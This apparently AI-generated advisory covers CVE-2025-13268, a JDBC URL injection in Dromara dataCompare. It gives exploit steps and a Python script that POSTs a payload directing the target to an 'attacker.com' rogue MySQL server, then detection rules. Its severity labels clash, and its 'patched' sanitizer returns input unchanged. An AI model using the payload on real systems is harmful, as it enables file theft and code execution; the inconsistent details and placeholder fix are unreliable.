CVE-2025-13268
Executive Summary
CVE-2025-13268 is a critical injection vulnerability in the Dromara dataCompare application, affecting versions up to and including 1.0.1. The flaw resides in the DbConfig function within the DbconfigServiceImpl.java file, where the JDBC URL handler is improperly sanitized. This allows a remote, unauthenticated attacker to inject malicious JDBC parameters, potentially leading to arbitrary command execution, data exfiltration, or lateral movement within the database infrastructure. The exploit has been publicly released, increasing the immediate risk to unpatched instances. The CVSS score of 6.3 (Medium) reflects the potential for significant impact, though the EPSS score is currently 0.0%, indicating low exploitation activity in the wild at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but is a Java-based application. The risk is primarily to organizations that deploy Dromara dataCompare as a standalone service. Supply chain risk is elevated due to the lack of an official patch and the public availability of exploit code.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - The victim does not need to perform any action.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): Low (L) - Limited data access is possible.
- Integrity (I): Low (L) - Limited data modification is possible.
- Availability (A): Low (L) - Limited service disruption is possible.
Threat Level: Medium. The public exploit and lack of patch make this a high-priority target for threat actors, despite the current low EPSS score.
Deep Dive & Mechanics
The vulnerability is a classic injection flaw in the JDBC URL construction logic. The DbconfigServiceImpl.java file processes user-supplied database connection parameters (host, port, database name, and connection string) without proper validation or sanitization. When constructing the JDBC URL, the application concatenates these parameters directly, allowing an attacker to inject arbitrary JDBC URL parameters.
For example, a malicious user could provide a database name like mydb?allowLoadLocalInfile=true&autoDeserialize=true. This would cause the application to construct a JDBC URL such as jdbc:mysql://attacker-host:3306/mydb?allowLoadLocalInfile=true&autoDeserialize=true. If the MySQL JDBC driver is configured to allow these features, the attacker can trigger a remote file read or deserialization attack, leading to code execution.
The core issue is the lack of input validation and the use of string concatenation instead of parameterized queries or safe URL builders.
Vulnerable vs. Patched Code
Vulnerable Code (dataCompare <= 1.0.1):
// DbconfigServiceImpl.java
public String buildJdbcUrl(DbConfig dbConfig) {
String url = "jdbc:mysql://" + dbConfig.getHost() + ":" + dbConfig.getPort() + "/" + dbConfig.getDatabaseName();
if (dbConfig.getConnectionParams() != null && !dbConfig.getConnectionParams().isEmpty()) {
url += "?" + dbConfig.getConnectionParams();
}
return url;
}
Patched Code (Hypothetical):
// DbconfigServiceImpl.java
public String buildJdbcUrl(DbConfig dbConfig) {
// Use a URI builder to safely construct the URL
URI uri = new URI("jdbc:mysql://" + dbConfig.getHost() + ":" + dbConfig.getPort() + "/" + dbConfig.getDatabaseName());
// Validate and sanitize connection parameters
String safeParams = sanitizeConnectionParams(dbConfig.getConnectionParams());
if (safeParams != null && !safeParams.isEmpty()) {
uri = uri.resolve("?" + safeParams);
}
return uri.toString();
}
private String sanitizeConnectionParams(String params) {
// Implement strict allowlist of allowed parameters
// Reject any parameter that could lead to injection (e.g., allowLoadLocalInfile, autoDeserialize)
// Use a library like OWASP ESAPI for validation
return params; // Placeholder for actual implementation
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target running Dromara dataCompare <= 1.0.1.
- A publicly accessible endpoint for the
DbConfigAPI (e.g.,/api/dbconfig). - A MySQL server (or other JDBC-compatible database) controlled by the attacker to receive the connection.
Exploit Steps:
- Identify the vulnerable endpoint. Typically, this is a POST request to
/api/dbconfigwith JSON body containinghost,port,databaseName, andconnectionParams. - Craft a malicious payload in the
databaseNameorconnectionParamsfield. For example:{ "host": "attacker-controlled-host.com", "port": "3306", "databaseName": "testdb", "connectionParams": "allowLoadLocalInfile=true&autoDeserialize=true" } - Send the request. The application will attempt to connect to the attacker's MySQL server.
- On the attacker's MySQL server, set up a rogue server that responds to the connection with a malicious payload (e.g., using
rogue-mysql-servertool). This can trigger a deserialization attack or read local files from the target server.
Example Exploit (Python):
import requests
target_url = "http://target.com/api/dbconfig"
payload = {
"host": "attacker.com",
"port": "3306",
"databaseName": "testdb",
"connectionParams": "allowLoadLocalInfile=true&autoDeserialize=true"
}
response = requests.post(target_url, json=payload)
print(response.text)
Blue Team
Detection:
- Monitor for unusual JDBC connection attempts to external or unexpected hosts.
- Look for requests to
/api/dbconfigwith suspicious parameters (e.g.,allowLoadLocalInfile,autoDeserialize). - Analyze network traffic for outbound connections on port 3306 (or other database ports) to unknown IPs.
Hunting:
- Search logs for error messages related to JDBC connection failures or deserialization exceptions.
- Use the provided YARA and Sigma rules to scan for malicious payloads.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections to port 3306 (or other database ports) from the dataCompare server to unexpected IPs.
- HTTP POST requests to
/api/dbconfigwith parameters containingallowLoadLocalInfile,autoDeserialize, or other suspicious JDBC options.
- File System:
- Unexpected files in the
/tmpdirectory (e.g., fromLOAD DATA LOCAL INFILE). - Modified or new JAR files in the application classpath (indicating deserialization).
- Unexpected files in the
- Logs:
- Application logs containing
com.mysql.cj.jdbc.exceptionsorjava.io.StreamCorruptedException. - Database connection logs showing connections from the dataCompare server to unknown hosts.
- Application logs containing
Detection Engineering
YARA Rule
rule CVE_2025_13268_JDBC_Injection {
meta:
description = "Detects JDBC injection attempts targeting CVE-2025-13268"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13268"
strings:
$s1 = "allowLoadLocalInfile" nocase
$s2 = "autoDeserialize" nocase
$s3 = "allowUrlInLocalInfile" nocase
$s4 = "jdbc:mysql://" nocase
condition:
any of ($s1, $s2, $s3) and $s4
}
Sigma Rule
title: CVE-2025-13268 JDBC Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to Dromara dataCompare with malicious JDBC parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/dbconfig'
cs-uri-query|contains:
- 'allowLoadLocalInfile'
- 'autoDeserialize'
- 'allowUrlInLocalInfile'
condition: selection
falsepositives:
- Legitimate use of these parameters in controlled environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-13268 JDBC Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/dbconfig"; http_uri; content:"allowLoadLocalInfile"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate: If possible, isolate the dataCompare server from the internet and restrict network access to only trusted hosts.
- Disable: Temporarily disable the vulnerable endpoint (
/api/dbconfig) if not required. - Monitor: Implement the detection rules above and monitor for exploitation attempts.
Long-term Fix:
- Patch: Await an official patch from Dromara. If none is forthcoming, consider forking the repository and implementing the fix manually.
- Code Review: Implement input validation and use safe URL builders (e.g.,
java.net.URI) for constructing JDBC URLs. - Least Privilege: Run the application with minimal database privileges and restrict outbound network access.
- WAF: Deploy a Web Application Firewall (WAF) rule to block requests containing suspicious JDBC parameters.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.